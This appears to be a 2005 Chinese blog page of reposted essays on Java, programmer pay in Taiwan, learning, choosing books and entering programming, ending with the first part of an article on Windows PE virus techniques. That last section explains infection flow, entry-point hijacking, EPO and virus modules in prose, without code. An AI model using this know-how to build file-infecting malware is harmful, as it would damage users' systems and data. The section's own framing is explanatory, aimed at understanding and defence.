我对你的信仰不够忠贞,我深深感到忏悔。在他人对于你的执行效率有微词时,我没有勇于出面反驳。在他人说你很消耗内存时,我竟点头赞同。更糟糕的是,我身为你的信仰者,竟然还受到 .NET 和 C# 的引诱,而去阅读过相关的技术书籍和杂志,违反 Java 的信条。我原本纯净无瑕的心灵已经圣洁不再。

但是,至上的 Java,我恳请你接受我的忏悔,赦免我关于使用 C# 此等不洁净的念头,谈论过 C# 此等不洁净的事。毕竟,我在公司里只是个小小的程序员,我不知道哪天我的老板会叫我去写出 C# 此等不洁净的程序,所以我只是想预先做好准备罢了!要怪,就去怪设计出 C# 语言的人吧!

倘若我犯了大错,请令我想起地狱的炼火,在那里不但不得享用无限美好的 Java,而且要为自己所犯的罪过付出代价,遭受各种又贵、又难用、Bug 又多的软件所折磨,还得一直花钱升级到更新版本接受最新的折磨,并且永远受到大罪人以及凶恶、丑陋的邪恶帝国所奴役,这是多么地可怕!求 Java 垂怜我!

Java,你投戴茨冠、手足被钉,受到邪恶帝国所恶意攻讦,你受这极大的痛苦,就是为了救拔我免于罪恶的深渊。现在我真心痛悔,求你宽赦我吧,并帮助我改过自新。

慈善的 Java,你不嫌我多次犯罪得罪你,辜负了你的恩惠,而一再仁慈地宽赦我,我诚心地感谢你。求你怜悯我这软弱的罪人,坚固我的意志,帮助我不再犯这些毛病。现在我许诺你,我翻译 Java 书会翻译得快一点,C# 的书会少看一点,Java 的课会多开一点。请扶助我吧!

Java,我感谢你宽赦了我,你是何等慈善,你使我的灵魂又恢复了原来的纯洁美好,我现在心里多么舒畅!

阿门!

- 作者: 蠡雪 2005年09月7日, 星期三 22:00  回复(1) |  引用(0) 加入博采

程序与香鸡排(作者:蔡学镛)
当程序员很可怜,在台湾当程序员尤其可怜。薪资低、工作量大、地位不高、技术又容易被淘汰。难怪有人半开玩笑地告诉我,他以后不写程序要改行去卖香鸡排。

照理说,软件开发是很专业的领域,越是专业的领域,越是处于金字塔的尖端,应该薪资很不错才是,但不知怎地,台湾的程序员就是从来未获重视。我们不要表面上的重视,我们要薪资上的重视。据我所知,大陆程序员的薪资水平,比起我们台湾高出许多(从国民所得、物价、房价来比较),美国程序员的薪资更是高得让我猛咽口水。

想想看,如果你在台北市租一间会漏水的小公寓,月租两万元(管理费和水电另计)。莫名其妙的多元入学方案实施之后,小孩压力更大,要补习的东西更多。如果你有两个小孩,每个月的补习费共要花上五千元。小孩要学费、生活费,又是另一个五千元。(乾脆含泪将小孩送人扶养。)

长得不怎么好看的老婆就只会天天敷 SKII 面膜,因为她妄想 SKII 独特的 Pitera 成分可以让她的皮肤水水嫩嫩的,就和郑秀文一样。明明身材不好,却又特别喜欢买 DKNY 昂贵的流行服装。

光是这些支出加上你自己的支出,就已经超过五万元了。你认为软件公司会花五万元请一个程序员吗?在台湾,程序员要有五万元以上的收入,恐怕要另有兼职才行。

于是你到欧莱礼兼职翻译书,拼了老命把下班后的时间和假日的时间都拿来翻译书,结果超过半年才翻译完一本,还好欧莱礼仁慈不扣你延迟交稿的违约金。但这半年来身体变差了,微薄的稿酬光是拿来扣掉白兰式鸡精和补药的支出,平均一个月也只多了约一万元的收入,但总算因此达到收支平衡。

但这倒也不算真正的收支平衡,意外的收入支出也是有的:统一发票中奖收入平均一个月进帐 200 元,但偶而被倒会,加上有某个不长进的亲戚时常来伸手要钱,你每个月还得多支出 5,000 元。婚丧喜庆的礼金支出、平常还要缴这个税和那个税、这个费和那个费的 ... 每每让你心疼地暗暗叫苦。

台湾的软件公司一向不肯好好地花钱雇用优秀的程序员,还奢谈什么知识经济。在写程序与卖香鸡排之间作抉择,如果我要留在台湾,我可能会选择卖香鸡排,如果我要出国谋生(美国、新加坡 ...),我会选择写程序。毕竟,要写程序,就要到一个尊重程序员专业能力的地方。写程序的薪资不高,就没办法吸收好的人才,至少我就不打算在台湾写程序写太久。兴趣当然重要,但付不出帐单光靠兴趣撑著,你认为能撑多久?卖香鸡排称不上是知识经济,但只要不炸得太难吃,至少收入比写程序好。

所以我觉得,到夜市卖香鸡排的提议还真是可以考虑考虑,毕竟在台湾当程序员,一家大小在除夕夜如同卖火材的小女孩一般饿死冻死的机会很高。卖香鸡排,虽然辛苦,但看著香鸡排老板们眉开眼笑的,荷包满满的,还可以趁著傍晚开市前,开著宾士轿车带著全家出游呢。 台北市饶河街夜市的摊贩告诉我,摊位租金一个月一万元出头,我估算了一下,如果我平均一天摆摊 6 小时,卖了香鸡排 300 个,每个净赚 13 元,一个月净赚 117,000 元,扣掉摊位租金 15,000,可以收入约十万新台币(免税),实在比程序员普遍的月薪 30,000~40,000(未税)好太多了。而且香鸡排的炸法不会每年推出新版本。

在台湾的软件公司内部,有许多非科班出身的程序员,他们的薪资低廉,通常又很努力。软件公司就算聘到了这种便宜又努力的程序员,也不要太高兴,因为这样的程序员,通常都只是把目前的公司当一个学习的过渡阶段,等到学得差不多,拍拍屁股就走人了,才没打算一辈子接受这样的低薪。但可悲的是,大部分的公司都没有良好的程序员生涯规划制度,反正大家互相利用。所以这些程序员很可能在做计画的过程中,学不到东西又磨得身心俱疲。 所以,何苦来哉!不如我们通通去卖香鸡排吧!但是你们只能到通化街夜市和士林夜市卖,不可以到我属意的饶河街夜市和我抢生意(我打听过,饶河街的摊位租金是三者中最便宜的)。我的摊位名称要取做什么呢?... 嗯!就叫做“Java 鸡排”好了,以纪念我曾有过的 Java 程序员身份。我打算把鸡排分成三种大小,最大到最小分别叫做 J2EE、J2SE 以及 J2ME。哪天你到饶河街夜市,发现了一个乾乾瘦瘦、看起来营养不良的少年头家用著生硬的台语在吆喝著:“来呦!来呦!好呷的香鸡排,J2EE 一块 50,J2SE 一块 40,J2ME 一块 30......”请你也来光顾一下吧!... 看在 Java 的份上。

- 作者: 蠡雪 2005年09月7日, 星期三 14:55  回复(0) |  引用(0) 加入博采

学习,是一条漫长的道路(作者:蔡学镛)
我在Java 1.0正式问世前就开始学习Java,这么多年过去了,到现在我的Java学习历程还没有停过。我阅读原文书,研究原始码,撰写程序,自认为走得扎实,不奢望一步登天。像我这样老式的学习方式,显然和现在的快餐主义背道而驰。从许多读者的来信和学生的反应中,我发现大多数的人对于Java的学习历程都差不多是:因为公司需要使用Java来进行服务器的计画,所以急急忙忙地学习Java语言,然后就开始使用J2EE的API,开始写起程序来了。如此急就章的学习方式,程序员基础能力根本就不够,对于对象导向精髓不能掌握,对于Java语言内部的运作机制毫无所悉,对API的整体连贯性懵懵懂懂。

当然,我们也不好因此责怪程序员,毕竟软件技术变动得太快。公司不可能给程序员足够的训练之后才开始做计画。程序员一下子被指派使用A技术,还没弄懂A技术是怎么回事,又被指派使用B技术,而且都是缝缝补补的方式边学边用,每次都像是全新的开始,遑论技术能量的累积。

我很庆幸的是,我不太有这样的困扰。因为我是资讯工程系出身(而且我大学时上课一向很认真),所以理论基础稳固,学习新技术对我来说不是难事。我就读大学时,周遭许多同学都瞧不起数据结构、程序语言、操作系统这些所谓「学院派」的课程,以为这些课程一点都不实用。他们认为到了外面公司,这些信息科系所学的一切都派不上用场,「只要会Visual Basic和数据库就够了」。这种偏差的心态,恐怕会使得他们在知识经济时代吃足了苦头。

另外还有一派同学很瞧不起程序设计工作,他们告诉我,像我这样会写程序的人,未来进了社会「还不是被他们这些走管理的人踩在脚下」。所以,他们很轻忽理工课程的学习,甚至还有人相当热衷「成功学」,认为这是迈向成功的快捷方式,却因此把学校的课业弃之不顾。我不敢相信有人竟然如此地本末倒置。

前一类的人太过于短视近利,后一类的人太过于好高骛远。我一直很不能理解这些人的想法为什么会这样,或许是因为社会环境的风气使然。我很庆幸我到目前还没被社会的大染缸给玷污了(最好这辈子都不要)。我不认为我的学习方式是一种典范,但是一路走来,倒也颇有进展。许多读者来信问我的学习历程,虽然我个人的学习方式不见得适用于每个人,但或许还有一些参考价值(特别是对于那些有志进入信息行业的年轻学子),我想透过本文简短地叙述一下。


我一向是采用先深后广(也称为Bottom-Up,Deep-First)的学习方式。比方说,当我在学A技术的时候,学到一半发现需要B技术的基础,我会到书局找出一两本B技术的书,然后把A先搁着,开始看起B技术的书。甚至,我在技术书籍上看到不太熟悉的英文句构时,我会找出一本英文文法书详细读过。这种先深后广的学习方式,适合学生时代全面地自我能力提升,但不适合业界人士。试想,老板要你开发的ERP系统已经延迟了,你怎有空研究J2EE原文书中的英文文法。先深后广的好处是,学习很扎实;缺点是有时候会偏离主题太多。有一次我发现我原本是要学某软件技术,几次「先深后广」下来,我居然看起老子的道德经了。

在技术上,我一直都是一个喜新厌旧的人,很少有软件技术能让我持续研究半年以上,我几乎每隔几个月就要换一次领域。Java 能让我持续这么久,也正是因为Java的领域广。透过Java,我的技术视野变开阔了。这些年来,我换过的 Java 相关领域包括了:虚拟机器、数据库、企业运算、多媒体、2D/3D图学、网络.…..等。

我的学习完全是兴趣导向的,所以压力并不大。因为有兴趣,所以我会很想充分理解一切细节。又因为理解,所以许多原本片片断断的知识都可以渐渐互相融会贯通,累积技术能量,理论和实务之间的藩篱被打破了,学习效率倍增。

我多年来的学习触觉很敏锐,我常常会抢先一步学好有前瞻性的技术。比方说,Java还在beta时、UML还在0.8时、XML还在draft时,我都已经透过网络下载技术文件回来每天抱着猛读了。而在Java、UML、XML当红之后,我已经差不多把这些技术都摸熟了。

至于该学什么技术,我的判断方式是以技术的优劣来决定。优秀而有独到之处的技术是我的最爱,虽然这类的技术不见得会在市场上胜出,但学习这些技术所得到的启发,对于技术能量的累积与能力的提升会有相当大的助益。至于技术差,但市场需求甚殷者,我还是懒得碰。(好吧!我承认我曾因为市场需求的缘故而学过MFC。越清楚MFC的技术细节,越是讨厌它,这真是个不堪回首的经验。)

我通常只看英文技术资料,毕竟大部分第一手的技术信息都是以英文来传播。所以我很早就开始阅读英文技术资料。读英文技术资料的好处是,就算没有学到书中的专业知识,至少也累积培养了英文阅读能力,我一直都是抱着这样的态度。一开始是正襟危坐的看英文技术书籍,字典、翻译机随侍在侧;几年下来,现在是躺着看、趴着看、很随性地看英文技术书籍,因为看英文技术书籍变成一种习惯了。现在,我可以用很快的速度吸收英文技术书籍的知识(有人叫我「吃书的机器」,我把这称号当作是一种恭维)。
近年来,我花在写程序的时间不多,因为时间对我来说很宝贵,而写程序很浪费时间。对初学者来说,大量地写程序是必要的,但过了某个阶段之后,写程序所带来的技术能力成长已经到了极限,还不如多花一点时间看书,学新技术和新观念。
我从国小时期开始学习写程序,迄今已有近十八年的时间;采取上述的方式密集学习,迄今也有近十年的光景。迩来数年,我接触的领域越来越广,而且学习速度正在加快,我认为是以前那些努力植下的根苗开始成长了。看看现在的我,或许你会觉得羡慕,但回顾这段学习的岁月,何尝不是一条漫长的道路。

- 作者: 蠡雪 2005年09月7日, 星期三 14:44  回复(0) |  引用(0) 加入博采

你说挑书就像挑老师一样,我说你乱有思想的(作者:蔡学镛)
想学某项技术,于是到书局打算买书,但是面对书架上陈列出来琳琅满目的书籍,却又不知该如何选择起……。你一定也有过这样的经验。
我曾经在我以前的一本译作「细说 Java 虚拟机器」的序中,和读者分享我挑书的方法。我把它整理改写成这篇文章,希望能对喜欢看书的你有所助益。
信息科技变化相当快速,技术、规格不断地推陈出新,阅读计算机技术书籍是让自己不被信息洪流淹没的最好方法,因为:

· 规格书或软硬件手册虽然推出较早,且内容详细完备,极具参考价值。并非依照循序渐进的方式编排,所以不容易阅读。而计算机技术书籍有循序渐进的内容,可以按部就班地学习。

· 计算机技术书籍的内容相当务实,有许多范例和说明,适合自我学习。

· 自我摸索的学习方式固然扎实,但也相对耗时费力。透过计算机技术书籍作者的经验传承,你可以轻易地从书上学到许多宝贵的知识,大大地缩短学习曲线。

书籍不断地上架,在逛书局的时候,你会迅速地浏览一下你感兴趣的书,在这短短的几分钟之内,你希望能判断出你手上这本书值不值得买。你当然不会因为书的印刷精美、 价格不菲,就认定它是一本好书,毕竟这年头「金玉其外,败絮其中」的例子所在多有,轻忽不得。你用来据以判断购买书籍与否的因素可能有:

书籍内容:内容讲的是操作还是程序设计?是用 C++ 还是 Java ?偏向网络还是数据库……?我有一个朋友想学 SQL Server 的操作,却不小心买了「SQL 的奥秘」,这是 一本专讲 SQL 语法的书,和 SQL Server 八竿子打不着,显然他没有评估到「书籍内容」,这本书注定要压箱底了。

读者定位:读者需要有什么样的基础?这是一本入门书、进阶书、还是专家级的书?即使是再好的书,如果读者定位不适合你,太深或太浅,买了对你的帮助不大,只是瘦了荷包 罢了。一些经典且相当深入的书,在 Amazon.com 上面常常会有一些搞不清楚状况的读者给它极差的评价,因为他们程度还不到所以看不懂。而像 Deitel & Deitel 的 「Java: How To Program」也常惹来有经验的 Java 程序员给予「没程度」之讥,他们却没想到这样的书对初学者有相当大的帮助。他们都是犯了没认清「读者定位」的毛病。

作者背景:作者有哪些技术背景?过去著作的风评如何?有些作者相当爱惜羽毛,所写出来的书不但内容充实、文字洗炼,更要求出版社要印刷排版精美、校稿确实, 这种作者的名字比「CAS 优良肉品」的标记更让人放心,通常这种书我是不会错过的。但有的读者为了赶着让书「上市」(我觉得这里用「上市」一词比「问世」来得恰当), 不惜瞎拼乱凑就送印了。如果我一时失察,误上贼船买了这种书,通常很快就扔进垃圾桶了。(送人?转卖?这不好吧!别让他继续危害人间。)

译者背景:如果这是中译本,又会有译者(除非是翻译软件翻出来的。我以前有个同学还真的用翻译软件来翻译书呢!不过封面倒是不敢注明「译者:译得妙 1.0 beta 版」)。 翻译计算机技术书籍可不是翻译文学作品,如果译者没有技术背景,翻译出来的句子就很可笑;只有在译者是个技术专业人员的情况之下,才「有可能」掌握内容的精髓。我说「有可能」, 因为即使译者本身程度不错,但因为时间仓促,或者因为译者本身敬业态度不佳,翻译品质也就无法提升。关于译者不佳所翻译出来的可笑句子,我们见多了,却仍然无法习以为常。 再好的书籍,被不好的译者经手,仍是不忍卒睹的烂书一本。

出版社:出版社是出版品的最后一道关卡。品质不好的稿件,出版社有责任退搞;排版有任何瑕疵,出版社有必要修正。差劲的出版社甚至会在作者或译者还没完全修正 稿件之前就「偷偷」送印,连作者或译者都被蒙在鼓里。可喜的是,国内的信息图书出版社似乎已经开始为品质把关。告诉你们一个实际的例子:欧莱礼的 Enterprise JavaBeans 和 Java 2D 的稿子在半年前就已经译妥,但在确定品质之前,他们宁可搁着不出版,直到最近我比较有空他们才请我当技术编辑,修饰这两本书的中文稿件。讲到这里,也请您参考一下 Elliotte Rusty Harold 所写的「我为什么喜欢由 O'Reilly 出版我的书」一文。

出版年份:从软件上市的日期和书出版的日期来判断书的内容是否够新,常常可以让你筛选书籍的速度加快。在我使用 Java 1.1 的时候,我买 Java 原文书的第一件事 是翻开出版年份,如果是 1996 年出版的书,我马上放回书架。因为 Java 1.1 是在 1997 年初推出的,所以 1996 年出版的书肯定只有涵盖 Java 1.0。和买葡萄酒不同的是, 计算机书籍不会越陈越香,尽可能买新出版的书才是上策。那些过期很久的原文书,一本特价卖 x99,还能卖得掉,这就真的让我百思不得其解了。

读书时间:如果你最近是个大忙人,有一堆事情要做,就先别急着买计算机书籍。计算机书籍更新的速度很快,可不比四书五经,可以祖传父、父传子, 代代受用不尽。以前我也常冲动之下买了好书回家,然后忙得没空读它,等到空闲下来时,新版本也已经出现了,懊悔不已!如果不急着用的书, 千万别急着买,不然可能还没来得及看这本书,新版本又出来了,信息界不流行考古的。

书评推荐:好书是不寂寞的。有些人一看到好书,就会基于「呷好倒相报」的心理,广为推荐。有些原文书的封底或第一页会有杂志或期刊的主编或名作家的推荐, 这也可以作为「参考」。Bruce Eckel 的「Thinking in Java」,一打开书就看到近十页的推荐,声势吓人。不过,书评倒也不见得要尽信,还是有少数烂书会搞出一些睁着眼睛 说瞎话的书评或推荐当作促销手段。

其它书籍:即使经过种种判断,你发现这是一本适合你的好书,「见猎心喜」是难免的,但是先别急着兴冲冲地去付钱,你应该再花一些时间看看是不 是有其它更好的书值得让你舍弃手上的这本。俗话说:「天外有天,人外有人」,我说:「书外有书」。

我已经分析过买书时的判断方法,希望能减少你买书时的「天人交战」。下次买书时,你不妨试试看这些方法。

- 作者: 蠡雪 2005年09月7日, 星期三 14:41  回复(0) |  引用(0) 加入博采

如何进入程序设计的领域(作者:蔡学镛)

      这一阵子,软件、网络大红,许多人对程序设计开始感兴趣,我收到好一些 Sleepless in Java专栏读者的来信,不少读者共同的问题是:如何进入程序设计的领域?所以我选这 个主题当作 Sleepless in Java 专栏「复刊」的第一篇文章。

写程序是很有趣的事,可以把自己的想法付诸实行。写程序的工具很简单,只要有一部PC,适当的开发环境,就可以上工了。这样有限的工具却可以创造无限的可能,这也正是程序 设计迷人的地方。只要你能力够,你可以将你脑海中的创意写成程序,变成一套软件。

培养程序能力,不是一蹴可及的,下面提供我的一些建议,希望对有志进入程序设计领域的你有所帮助。

培养兴趣
把程序设计当成兴趣可以让你学得更快乐,学习效果自然会更好。在我到一个单位面试时,主管看了我的履历之后问我:「你怎么有这么多时间学会这么多东西、做这么多事?」 我的回答是:「把工作、学习、和娱乐结合在一起,时间就会是别人的三倍。」

我承认我很幸运,可以把程序设计当作赚钱的工作,学习的题材,以及茶余饭后的休闲活动。不是每个人都像我这般幸运,但是我相信至少大家都可以把它当成兴趣。相信我, 调整你的心境,把它当成是兴趣,而非苦差事,你非发现你的「程序功力」与日俱增。

慎选程序语言
慎选程序语言很重要,一开始就学太难的程序语言很容易让你遭遇到挫折而放弃。你可以挑比较容易且有趣的语言下手,建议您可以从下面的语言中择一:

VB:简单,好用,书籍多。
Java:比VB稍难,比C/C++简单,书籍多,用途非常广,相当有前途。可以当作学习C++的跳板。
Python:简单,好用,各个平台都支持(包括Windows,Linux,MacOS,BeOS,...)。国外很红,国内较少人用。原文书不少, 但中文书目前只有一本(欧莱礼出版)。我预期 Python 会是下一个热门的程序语言。

这三个语言只是我给各位的建议,你也可以多听听别人的意见。在选定一个程序语言之后,就要执着,不可以很快放弃,又改学另一个程序语言,否则永远都只懂皮毛。有句谚语是 这么说的:「A jack of all trades is master of none」。如果你号称会C++、Java、…等十种程序语言,只不过每种程序语言都停留在Say Hello的阶段,相信面谈主管很快就会 对你 Say Goodbye。

当你学精某程序语言,然后想再学另一个程序语言,你会发现有了前一个程序语言札实的根基,学任何新的程序语言都很快。

使用适当的开发工具
现在RAD工具软件盛行,Visual Basic、Delphi、JBuilder、VisualAge、VisualCafe都是。有了RAD工具,只要「拉一拉,选一选」程序就完成一半了。许多硬底子的程序员 颇不以为然,认为初学者使用RAD工具不是好习惯,不过我倒不这么认为。我认为RAD工具可以降低初学者学习的门槛,提高兴趣。只是,在你学会「拉一拉,选一选」的简单步骤之后, 应该要找机会精进自己,弄懂内部的机制,不然不仅会有一种不踏实的感觉,甚至有许多程序会写不出来。我再强调一次:RAD可以当初学者入门的工具,但小心不要使它变成让你 停滞不前的借口。

另外也要学会使用开发工具所附的诸多功能(特别是除错功能)。许多人买了昂贵的 Enterprise 版开发工具,却只用到copy-paste功能,那么这套开发工具和 Windows 所附的 记事本就没有两样了。建议您开始使用一套新的开发工具前先花些时间把 User Guide 翻一翻。

现在许多开发工具都有免费版本可以下载,初学者不妨多多利用。

多读好书,少上课
大量阅读好书,是精进自己的不二法门。在这种快餐时代,许多人没耐心读书,反而喜欢到处上课,所以现在到处都是计算机班。如果遇到厉害的好老师,当然上过他(或她)的课 会收获很大,只是目前好老师的比例实在不高(虽然我自己也在开 Java/Enterprise Java/Java Swing 的课,但我还是得这么说)。我曾在网络上看到有人说:「没听过补习班教 出什么程序高手」,这倒也有几分真实性。不过一方面要归咎老师之外,一方面也要归咎学生,因为我发现通常上课的学生会在家里读书和写程序练习的比例不高。

相较于上课动辄花费上万元的高代价,买书只需要区区几百上千,划算多了,更何况书上的内容又比上课来得多且详细。不过「买书容易,看书难」。怕自己偷懒的话,找志同道合 的朋友组织「读书会」,彼此加油打气,还可以互相切磋。最好是像我前面提到的:把它变成兴趣。

加强英文阅读能力
加强英文和崇洋无关,而是有它实际的价值。许多信息都是要直接看英文的资料,因为没有中文版可看。

「可是我的英文很烂!」

这不是理由。没人生下来就能阅读英文,都是一点一点累积起阅读能力的。给自己一个机会,找一本单字文法都比较简单、且页数又少的书籍下手,很快地,你会发现技术书籍的 单字就是哪几个在重复出现,阅读这样的书一点都不难。

请注意:原文书的写作风格也有相当大的差异,有的书的确是不好读。所以,如果你刚开始要尝试阅读原文书,不要挑到像 Bjarne Stroustrup 所写的 The C++ Programming Language 这类难懂的书……尽管它是经典。

问人之前,先问自己
遇到问题,可以到国内外的程序设计相关讨论区去请教别人,如果态度谦逊,且问题叙述清楚,相信许多有经验的前辈会很乐于参与讨论。不过,凡是遇到问题就发问,这不是好事, 因为你会因此越来越依赖别人,而失去了自我解决问题的能力。自己应该尝试着查书、写程序测试、甚至阅读原始码,来找出答案。如此一来,真的没办法而请教别人时,也才能 比较深入地讨论。

多写程序
学程序设计不可以只看书,将随书光盘的程序执行一次,就认为自己已经学会了。应该开始写一些程序,且由小到大,由简单到复杂。找一些有趣的题目(比方说:计算器,踩地雷, 小画家,俄罗斯方块),可以提升写程序的动力。

我看到许多学生大一的程序作业都是copy同学的,失去了练习的机会。等到二年级之后,想开始写程序,却写不出来了。初学程序设计的阶段,应该给自己多一些机会写程序。

向上延伸,向下延伸,向旁延伸
当你发现你已经可以掌握此程序语言之后,你可以选择:

向上延伸:学习对象导向分析设计、Design Patterns、以及软件工程。让自己具有做大型计划的能力。

向下深入:深入了解内部底层的机制,例如操作系统(甚至硬件)内部。

向旁延伸:学习不同的API,例如:多媒体、数据库、企业运算…。

另外,数据结构、算法等基础也很重要。

结论
一分耕耘,一分收获,用对方法,持之以恒。每半年检阅自己这段期间以来的进步,相信你也会很高兴地说「我做到了」!

--------------------------------------------------------------------------------------------

李啸林的补充:

   蔡先生是位编程高手。他写的这篇文章我已经看过许多遍。每一次都有新的启发。在这里我有一点补充,就是关于英语,也许在十年前学计算机不学英语是不可思议的事情,但是现在不同了,随着中国计算机书籍市场的不断扩大,几乎所有著名的计算机书都有了中译本,而且同步的速度也在不断加快。除非你想成为和蔡先生一样的顶尖高手(这是一定要会英语),一般的编程应用可以不用学英语。与其把大量时间花费在拗口难懂的英语学习上,还不如踏踏实实的编几个程序(当然,如果你喜欢英语,又当别论)。我这里说点题外话,其实搞普及性,全民英语教育,是中国教育最大失误之一。

- 作者: 蠡雪 2005年09月7日, 星期三 10:04  回复(1) |  引用(0) 加入博采

(转载)恶意代码的亲密接触——病毒编程技术(上)
      生活在网络时代,无论是作为一名程序员抑或是作为一名普通的电脑使用者,对病毒这个词都已经不再陌生。网络不仅仅是传播信息的快速通道,从另外一个角度来看,也是病毒得以传播和滋生的温床,有资料显示,未安装补丁的Windows操作系统连接至internet平均10-15分钟就会被蠕虫或病毒感染。各种类型的病毒,在人们通过网络查阅信息、交换文件、收听视频时正在悄悄地传播。这些病毒或蠕虫不仅在传播过程中消耗大量的带宽资源,而且会干扰系统功能的正常使用或造成数据丢失、甚至是硬件损坏,每个电脑用户几乎都有过系统被病毒感染而无法正常使用的经历,大部分企业用户也都有过因病毒发作致使业务系统不能正常运行的经历。病毒距离我们,其实并不遥远。
  然而,不只普通用户在面对各种夸大的报道和宣传后感觉到茫然和恐惧,随着计算机各个领域的细分和专业化,就连一些职业的程序员对病毒技术也缺乏深入的了解。病毒,不过是精心设计的一段程序,是编程技巧和优化技术的集中体现,是挑战技术极限、无所不用其极的一种编程技术。其实病毒技术中的优化和各种精巧的构造,也完全可以在一些特殊的情况下使用,使得某些编程工作得以简化;从另外一个角度来看,只有充分了解病毒技术,才能更好地研究应对之策,知己知彼,方能百战不殆。
  病毒不是某个系统下的专属品,事实上现在各种流行的操作系统:从最初的Unix系统到其各种变体如Linux、Solaris、AIX、OS2等,从Windows到CE、Sybian等嵌入式系统,甚至是在某些专业化的大型机系统上,都无一例外地出现了病毒,各种平台下病毒的基本原理类似的,但是针对不同系统的特性,实现可能区别很大,原因在于作为一种无所不用其极的技术,势必利用各种系统相关的功能或弱点以取得各种特权和资源。正如生物的多样性一样,病毒种类繁多:包括源代码病毒、宏病毒、脚本病毒以及与各种系统可执行文件系统相关的病毒等。本文将以使用最为广泛的Windows操作系统下的PE病毒为例,说明病毒技术的原理以及实现技术,驱散笼罩在病毒技术上的迷雾。
  
* 病毒、蠕虫、恶意代码
        传统意义上的病毒是具有类似生物病毒特征的特殊代码或程序,具有两个最基本的特点:自我复制和自动传播。蠕虫,广义上一般被认为是病毒的子类,同样具有自我复制和传播的特性,但鉴于蠕虫通常利用系统漏洞而非感染文件系统进行传播的特殊性,通常将其单独作为一类。一般认为区分蠕虫和传统病毒的分类标准是看其是否依赖于宿主程序进行感染和传播,如果必须依附于宿主程序才能进行感染和传播的才是病毒。不过定义不是绝对的,当今病毒和蠕虫技术的融合愈益深入,界限愈益模糊。很多病毒采用了很多的蠕虫传播技术,蠕虫也不仅仅通过系统漏洞传播,同时也通过感染文件系统进行传播。此外还有有相当一部分程序虽然不具备自我复制和自我传播的特征,但却执行了未经用户许可的代码、做了未经用户许可的事情,比如特洛伊木马等间谍软件、浏览器恶意脚本、一些广告软件等,显然无法将其定义为传统的病毒或蠕虫,他们和蠕虫、病毒一样,同属于一个更大的范畴——恶意代码。本文重点阐述传统病毒经常使用的技术。
  
* 病毒简史
        谈病毒技术,无法回避病毒产生的历史。早在1949年在冯·诺伊曼的一篇论文《复杂自动装置的理论及组织的行为》中,即预见了可自我繁殖程序出现的可能。而现在众所公认的病毒的萌牙于AT&T(贝尔实验室)几个年轻的天才程序员编制的磁芯大战(CoreWar)游戏程序,已经具备了病毒的一些特征。随后相关的实验和研究在一些学者和天才的程序员中开始展开,正是这些创造了计算机系统的天才们,制造了计算机病毒。很难考证第一个真正的病毒出现在何时何地,但在20世纪80年代,随着个人计算机的普及,病毒已经开始流行了,早期的计算机病毒是和当时的文件交换方式和操作系统特点联系在一起的,那个时候发行软件或交换文件主要通过软盘进行,系统是基于文本界面的Unix或DOS,网络尚未普及,因此这一时期的病毒大都是引导区病毒和文件型病毒,前者通过替换系统引导区代码在系统启动时获取执行权,后者通过修改可执行文件嵌入代码以在可执行文件执行时获取控制权,更多病毒的则是二者的结合。IBM-PC的流行和MS DOS系统的普及使得DOS病毒在这一阶段逐渐占据了统治地位。80年代后期因特网开始进入人们的视野,这时也出现了第一个因特网蠕虫——莫里斯蠕虫,借助于系统漏洞通过网络进行快速传播。90年代随着电脑及网络的进一步普及,病毒技术也有了很大的进步,这在很大程度上也是由于病毒受社会的关注程度以及反病毒软件的进步,进一步刺激了病毒制作者群体的创造欲望,多态和变形技术开始出现,以对抗杀毒软件的特征码扫描。DOS操作系统病毒的绝对数量出现了爆炸性增长,但90年代后期随着Windows的出现,DOS病毒和引导区病毒逐渐走向消亡,Windows病毒随之则开始大量涌现,随着微软Office软件的普及宏病毒出现了,各种脚本病毒也日益增多。因特网的普及在给人们带来便利的同时也加快了病毒传播的速度和范围,靠Emai传播的蠕虫开始增多,时至今日仍然是蠕虫的重要传播途径。从2000年至今,在进入21世纪的头几年里,Windows下PE病毒技术已经日益纯熟、数量日益增多,但病毒排行榜的首位已经让位给利用各种系统漏洞进行传播的蠕虫了,安全研究的深入、各种安全漏洞的大量披露给蠕虫作者提供了很好的素材,特洛依木马等恶意软件数量呈现几何级数的增长,病毒作者的关注点重新从Windows桌面系统转向Unix系统、手机等嵌入移动设备上。安全研究也愈益受到社会的关注,病毒和反病毒的战争仍在继续,在可预见的将来,仍将继续。
 不过,Windows PE文件病毒仍然占有非常大的比重。

* Windows平台和PE文件格式

          Windows平台是当今最为流行的桌面系统,在服务器市场上,也占有相当的份额。其可执行文件(普通的用户程序、共享库以及NT系统的驱动文件)采用的是PE(Portable Executebale)文件格式。病毒要完成各种操作,在Windows系统上一般都是通过调用系统提供的API进行的,以保证在各种Windows版本上都能运行,因此读者应对基本的API比较熟悉。病毒要实现对宿主程序的感染,就不可避免地要修改PE文件,因此要求读者对PE文件格式有一定的了解,PE文件格式是一种复杂的文件格式,本文并不准备详细讲述PE文件格式,仅作在必要处简单的介绍,如必要可进一步参阅相关资料[1][2][3]。PE文件结构和头部部分主要域的格式如下图1所示。由图1可见,PE文件是由文件头、节表、包含各种代码和数据的节构成。文件头中定义了PE文件的引入函数表、引出函数表、节数目、文件版本、文件大小、所属子系统等相关的重要信息。节表则定义了实际数据节的大小、对齐、内存到文件如何进行映射等信息。后面的各个节则包含了实际的可执行代码或数据。

 

 

 

图1 PE文件结构及部分主要域的定义

 


* PE病毒技术剖析

        典型的PE病毒修改PE文件,将病毒体代码写入PE文件文件中,更新头部相关的数据结构,使得修改后的PE文件仍然是合法PE文件,然后将PE入口指针改为指向病毒代码入口,这样在系统加载PE文件后,病毒代码就首先获取了控制权,在执行完感染或破坏代码后,再将控制权转移给正常的程序代码,这样病毒代码就神不知鬼不觉地悄悄运行了。染毒后的PE文件运行过程一般图2所示:


图2 染毒后的程序执行流程

        这只是最常见的执行流程,事实上,随着反病毒技术的进展,更多的病毒并不是在程序的入口获取控制权,而是在程序运行中或退出时获取控制权,以逃避杀毒软件的初步扫描,这种技术又被称为EPO技术,将在本文后半部分进行介绍。病毒代码一般分成几个主要功能模块:解码模块、重定位模块、文件搜索模块、感染模块、破坏模块、加密变形模块等,不同的病毒包含模块不一定相同,比如解码、加密变形等就是可选的;但文件搜索和感染模块是几乎每个PE病毒都具备的,因为自我复制我传播是病毒的最基本的特征。有些病毒还可能实现了其他的模块,比如Email发送、网络扫描、内存感染等。一段典型的PE病毒代码执行流程大致如下图3所示:


图3 一段典型的病毒代码执行流程

